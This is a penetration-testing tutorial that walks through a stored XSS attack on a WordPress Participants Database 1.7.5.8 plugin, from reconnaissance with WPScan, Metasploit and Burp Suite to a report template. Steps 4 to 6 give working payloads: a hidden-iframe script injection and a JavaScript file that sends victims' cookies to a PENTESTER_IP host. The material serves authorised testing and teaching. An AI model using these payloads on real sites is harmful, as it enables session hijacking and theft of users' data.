Stored XSS¶
Imagine a library where anyone can write in a guestbook. A stored XSS attack is like someone writing a hidden, harmful message in the guestbook that, when read, causes the reader's pen to write down their personal details on a separate sheet that the attacker can access. The readers are unaware that their information is being stolen while they are simply interacting with what they believe to be a safe guestbook.
Types of XSS¶
There are three main types of Cross-Site Scripting (XSS) vulnerabilities:
-
Stored XSS: Also known as persistent XSS, this type occurs when malicious script is permanently stored on the target server, such as in a database, message forum, or comment field. The script is executed every time a user accesses the affected content.
-
Reflected XSS: This type occurs when a malicious script is reflected off a web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. It is delivered to users via another route, such as an email or a web link.
-
DOM-Based XSS: This type occurs when the vulnerability exists in the client-side code rather than the server-side code. The payload is executed as a result of modifying the DOM environment in the victim's browser, causing client-side script to run differently.
Walkthrough Focus¶
The walkthrough provided is covering Stored XSS. In this scenario, the payload is injected into the Name
parameter on the Contact page of the WordPress site using the "Participants Database" plugin. When this data is stored and subsequently displayed to users or administrators, the malicious script executes, demonstrating the persistent nature of stored XSS vulnerabilities.
Step 1: Initial Reconnaissance¶
Pick one.
with WPScan
wpscan --url https://targetwebdomain.com --enumerate p
Skip to Step 3.
with Metasploit WordPress Scanner
Start by opening up msfconsole and finding the WordPress Scanner.
msfconsole
search wordpress scanner
use auxiliary/scanner/http/wordpress_scanner
set rhosts www.targetwebdomain.com
run
Skip to Step 3.
with Burp Suite
Start by running the target domain, http://targetwebdomain.com
, through Burp Suite to capture and analyze the traffic.
-
Configure Browser to Use Burp Suite Proxy:
- Set the browser's proxy settings to route traffic through Burp Suite (typically
127.0.0.1:8080
). - Scope the proxy to only be for the target domain.
- Set the browser's proxy settings to route traffic through Burp Suite (typically
-
Browse the Target Site:
- Turn on proxy in Firefox Network Settings (or other browser).
- Navigate through
http://targetwebdomain.com
while Burp Suite captures the requests and responses.
-
Forward Pages to Browser
- Click
Forward
in BurpSuite to forward the loaded pages back to Firefox.
- Click
-
Analyze the Site Map:
- In Burp Suite, navigate to the Site Map tab to review the structure of the target site.
- Identify WordPress-related directories such as
/wp-content/
,/wp-includes/
, and/wp-admin/
.
Step 2: Identifying Plugin Versions¶
Using Burp Suite, locate readme.txt
files in the WordPress directories to determine the versions of each of the installed plugins and themes.
-
Locate readme.txt Files:
- Common directories to check:
http://targetwebdomain.com/wp-content/plugins/participants-database/readme.txt
- Other plugin and theme directories as needed.
-
Extract Version Information:
- Read the contents of the
readme.txt
files to find the version numbers of the plugins and themes.
- Read the contents of the
Step 3: Searching for Vulnerabilities with SearchSploit¶
Use the version information to search for known vulnerabilities using SearchSploit.
-
Run SearchSploit:
- Example command to search for vulnerabilities in the Participants Database plugin:
searchsploit participants database 1.7.5.8
- Example command to search for vulnerabilities in the Participants Database plugin:
-
Review Results:
- Analyze the results to identify relevant vulnerabilities, such as the XSS vulnerability in Participants Database version 1.7.5.8.
cat /opt/exploit-database/exploits/php/webapps/42618.txt
- Analyze the results to identify relevant vulnerabilities, such as the XSS vulnerability in Participants Database version 1.7.5.8.
Step 4: Crafting the XSS Payload¶
With the knowledge of the XSS vulnerability, craft an XSS payload to inject an iframe that loads a malicious script from your server.
Malicious Payload:
<script>
document.write('<iframe src="http://PENTESTER_IP/malicious_file.js" style="display:none;"></iframe>');
</script>
Step 5: Hosting the Malicious File¶
Set up a simple HTTP server to host the malicious file, designed to steal cookies or perform other malicious actions.
Command to Start HTTP Server:
python3 -m http.server 80
Contents of malicious_file.js:
// malicious_file.js
fetch('http://PENTESTER_IP/steal?cookie=' + document.cookie);
Step 6: Injecting the Payload¶
Inject the payload into the Name
parameter on the Contact page form. When a user or admin views this entry, the iframe will load the malicious script.
Injection Point:
- URL: http://targetwebdomain.com/contact
- Vulnerable Parameter: Name
- Payload: <script>document.write('<iframe src="http://PENTESTER_IP/malicious_file.js" style="display:none;"></iframe>');</script>
Step 7: Verifying the Exploit¶
Once the payload is injected, monitor the server logs to see if the malicious script is accessed, indicating successful exploitation.
Monitoring Logs:
tail -f access.log
If successful, you will see requests to your server indicating that the malicious script was executed.
Step 8: Reporting Findings¶
Document findings, including: - The vulnerable plugin and version. - The vulnerable parameter and page. - The injected payload. - The impact of the vulnerability (e.g., stolen cookies).
Example Report¶
Vulnerable Page: http://targetwebdomain.com/contact
Vulnerable Parameter: Name
Vulnerable Plugin: Participants Database 1.7.5.8
Injected Payload:
<script>
document.write('<iframe src="http://PENTESTER_IP/malicious_file.js" style="display:none;"></iframe>');
</script>
Impact:
- The payload successfully injected an iframe that loaded a malicious script from http://PENTESTER_IP/malicious_file.js
.
- The script attempted to steal cookies by sending them to http://PENTESTER_IP/steal
.